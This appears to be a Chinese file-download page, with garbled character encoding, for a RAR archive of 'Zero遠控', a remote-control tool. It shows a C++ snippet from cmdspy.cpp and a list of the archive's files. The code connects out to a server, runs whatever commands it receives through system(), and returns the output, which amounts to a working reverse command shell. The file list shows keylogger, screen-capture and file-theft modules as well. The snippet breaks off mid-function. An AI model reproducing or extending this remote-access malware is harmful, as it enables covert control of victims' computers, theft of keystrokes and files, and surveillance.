-
大小: 176KB文件類型: .rar金幣: 2下載: 0 次發(fā)布日期: 2021-06-05
- 語(yǔ)言: 其他
- 標(biāo)簽: Zero遠(yuǎn)控??
資源簡(jiǎn)介
Zero遠(yuǎn)控_11

代碼片段和文件信息
#include?“cmdspy.h“
//?互擠體,用來確保線程安全
static?CRITICAL_SECTION?gCs;
//?初始化類
static?CmdSpy?gSpy;
//?臨時(shí)飯后信息保存路徑
static?std::string?gTmpReturnFile?=?“cmd_return.tmp“;
CmdSpy::CmdSpy()
{
????//?初始化互擠體
????InitializeCriticalSection(&gCs);
}
CmdSpy::~CmdSpy()
{
????//?刪除互擠體
????DeleteCriticalSection(&gCs);
}
void?CmdSpy::startByNewThread(std::string?domain?int?port)
{
????//?將域名和端口數(shù)據(jù)轉(zhuǎn)換成一個(gè)字符指針類型
????char?*args?=?new?char[MAX_PATH+sizeof(int)];
????domain.reserve(MAX_PATH);
????memcpy(argsdomain.data()?MAX_PATH);
????memcpy(args+MAX_PATH(char*)&port?sizeof(int));
????//?創(chuàng)建新線程
????HANDLE?h?=?CreateThread(NULL0?CmdSpy::threadProc(LPVOID)args0NULL);
????if?(!h)?{
????????std::cout?<“Failed?to?create?new?thread“?<????????std::fflush(stdout);
????}
}
DWORD?CmdSpy::threadProc(LPVOID?args)
{
????char?domain[MAX_PATH];
????memcpy(domain?args?MAX_PATH);
????int?port?=?*((int*)((char*)args+MAX_PATH));
????//?開始監(jiān)控
????startCmdSpy(domain?port);
????//?釋放參數(shù)
????delete?(char?*)args;
????return?true;
}
void?CmdSpy::startCmdSpy(std::string?domain?int?port)
{
????//?創(chuàng)建socket并連接至服務(wù)端
????TcpSocket?sock;
????if?(!sock.connectTo(domain?port))?{
????????std::cout?<“Failed?to?connect?cmd?spy?server?“?<<
?????????????????????domain?<“:“?<????????std::fflush(stdout);
????????return;
????}
????//?開始監(jiān)控消息
????std::cout?<“Started?cmd?spy“?<????std::fflush(stdout);
????//?死循環(huán),不斷從服務(wù)端接收數(shù)據(jù)
????const?int?packetSize?=?800;
????char?szData[packetSize];
????int?ret;
????std::string?buf;
????while?(1)?{
????????ret?=?sock.recvData(szData?packetSize);
????????//?出現(xiàn)錯(cuò)誤
????????if?(ret?==?SOCKET_ERROR?||?ret?==?0)?{
????????????break;
????????}
???????//?把數(shù)據(jù)加入到緩沖區(qū)
???????addDataToBuffer(&sock?buf?szData?ret);
????}
????//?完成
????std::cout?<“Finished?cmd?spy“?<????std::fflush(stdout);
}
void?CmdSpy::addDataToBuffer(TcpSocket?*sock?std::string?&buf?char?*data?int?size)
{
????buf.append(datasize);
????//?把數(shù)據(jù)轉(zhuǎn)換成指令模式
????int?endIndex;
????while?((endIndex?=?buf.find(gSpy.CmdEnd))?>=?0)?{
????????std::string?cmd?=?buf.substr(0endIndex);
????????buf.erase(0?endIndex+gSpy.CmdEnd.length());
????????//?處理指令
????????std::string?retData?=?execCmd(cmd);
????????//?發(fā)送Cmd命令返回?cái)?shù)據(jù)到服務(wù)端
????????sock->sendData(retData.data()?retData.size());
????????//?發(fā)送當(dāng)前文件位置
????????std::string?pwd?=?gSpy.CmdPwd;
????????pwd.append(gSpy.CmdSplit);
????????pwd.append(getPWD());
????????//?發(fā)送Cmd命令返回?cái)?shù)據(jù)到服務(wù)端
????????sock->sendData(pwd.data()?pwd.size());
????}
}
std::string?CmdSpy::execCmd(std::string?cmd)
{
????//?鎖定函數(shù),其他線程不能進(jìn)來
????EnterCriticalSection(&gCs);
????//?執(zhí)行指令,然后保存在臨時(shí)文件
????system(cmd.append(“?>?“).append(gTmpReturnFile).data());
????//?打開臨時(shí)文件
????FILE?*fp?=?fopen(gTmpReturnFile.data()?“rb“);
????if?(!fp)?{
????????std::cout?<“Failed?to?open?return?file?of?cmd\n“;
????????std::fflu
?屬性????????????大小?????日期????時(shí)間???名稱
-----------?---------??----------?-----??----
?????文件???????3969??2016-12-25?15:47??Zero遠(yuǎn)控_11\ZeroClient\cmdspy.cpp
?????文件????????961??2016-12-25?14:50??Zero遠(yuǎn)控_11\ZeroClient\cmdspy.h
?????文件??????13714??2016-12-25?12:53??Zero遠(yuǎn)控_11\ZeroClient\filespy.cpp
?????文件???????3525??2016-12-24?08:57??Zero遠(yuǎn)控_11\ZeroClient\filespy.h
?????文件???????1378??1997-10-18?15:41??Zero遠(yuǎn)控_11\ZeroClient\jpeg\jconfig.h
?????文件??????12717??2014-09-03?11:55??Zero遠(yuǎn)控_11\ZeroClient\jpeg\jmorecfg.h
?????文件??????47339??2016-12-21?08:02??Zero遠(yuǎn)控_11\ZeroClient\jpeg\jpeglib.h
?????文件?????235030??2014-04-05?15:23??Zero遠(yuǎn)控_11\ZeroClient\jpeg\libjpeg.lib
?????文件???????7116??2016-12-25?12:53??Zero遠(yuǎn)控_11\ZeroClient\keyboardspy.cpp
?????文件???????1512??2016-12-22?15:24??Zero遠(yuǎn)控_11\ZeroClient\keyboardspy.h
?????文件???????1203??2016-12-25?13:04??Zero遠(yuǎn)控_11\ZeroClient\main.cpp
?????文件???????9188??2016-12-23?12:36??Zero遠(yuǎn)控_11\ZeroClient\screenspy.cpp
?????文件???????1378??2016-12-21?14:42??Zero遠(yuǎn)控_11\ZeroClient\screenspy.h
?????文件???????3746??2016-12-24?11:08??Zero遠(yuǎn)控_11\ZeroClient\tcpsocket.cpp
?????文件????????910??2016-12-24?10:55??Zero遠(yuǎn)控_11\ZeroClient\tcpsocket.h
?????文件???????8162??2016-12-25?14:27??Zero遠(yuǎn)控_11\ZeroClient\zeroclient.cpp
?????文件???????2400??2016-12-25?13:11??Zero遠(yuǎn)控_11\ZeroClient\zeroclient.h
?????文件????????331??2016-12-25?12:01??Zero遠(yuǎn)控_11\ZeroClient\ZeroClient.pro
?????文件??????23635??2016-12-25?16:05??Zero遠(yuǎn)控_11\ZeroClient\ZeroClient.pro.user
?????文件??????12843??2016-12-24?17:34??Zero遠(yuǎn)控_11\ZeroServer\filespy.cpp
?????文件???????4165??2016-12-24?16:20??Zero遠(yuǎn)控_11\ZeroServer\filespy.h
?????文件???????4122??2016-12-24?17:47??Zero遠(yuǎn)控_11\ZeroServer\filetransfer.cpp
?????文件???????1375??2016-12-24?17:44??Zero遠(yuǎn)控_11\ZeroServer\filetransfer.h
?????文件???????1784??2016-12-23?17:59??Zero遠(yuǎn)控_11\ZeroServer\keyboardspy.cpp
?????文件????????984??2016-12-22?17:42??Zero遠(yuǎn)控_11\ZeroServer\keyboardspy.h
?????文件????????199??2016-12-19?12:00??Zero遠(yuǎn)控_11\ZeroServer\main.cpp
?????文件???????5064??2016-04-24?09:10??Zero遠(yuǎn)控_11\ZeroServer\resources\cmdspy.png
?????文件???????8132??2016-04-24?09:13??Zero遠(yuǎn)控_11\ZeroServer\resources\filespy.png
?????文件???????4560??2016-04-24?09:23??Zero遠(yuǎn)控_11\ZeroServer\resources\keyboardspy.png
?????文件???????7688??2016-04-24?09:14??Zero遠(yuǎn)控_11\ZeroServer\resources\screenspy.png
............此處省略29個(gè)文件信息
- 上一篇:Zero遠(yuǎn)控_10
- 下一篇:計(jì)算方法試題和答案
評(píng)論
共有 條評(píng)論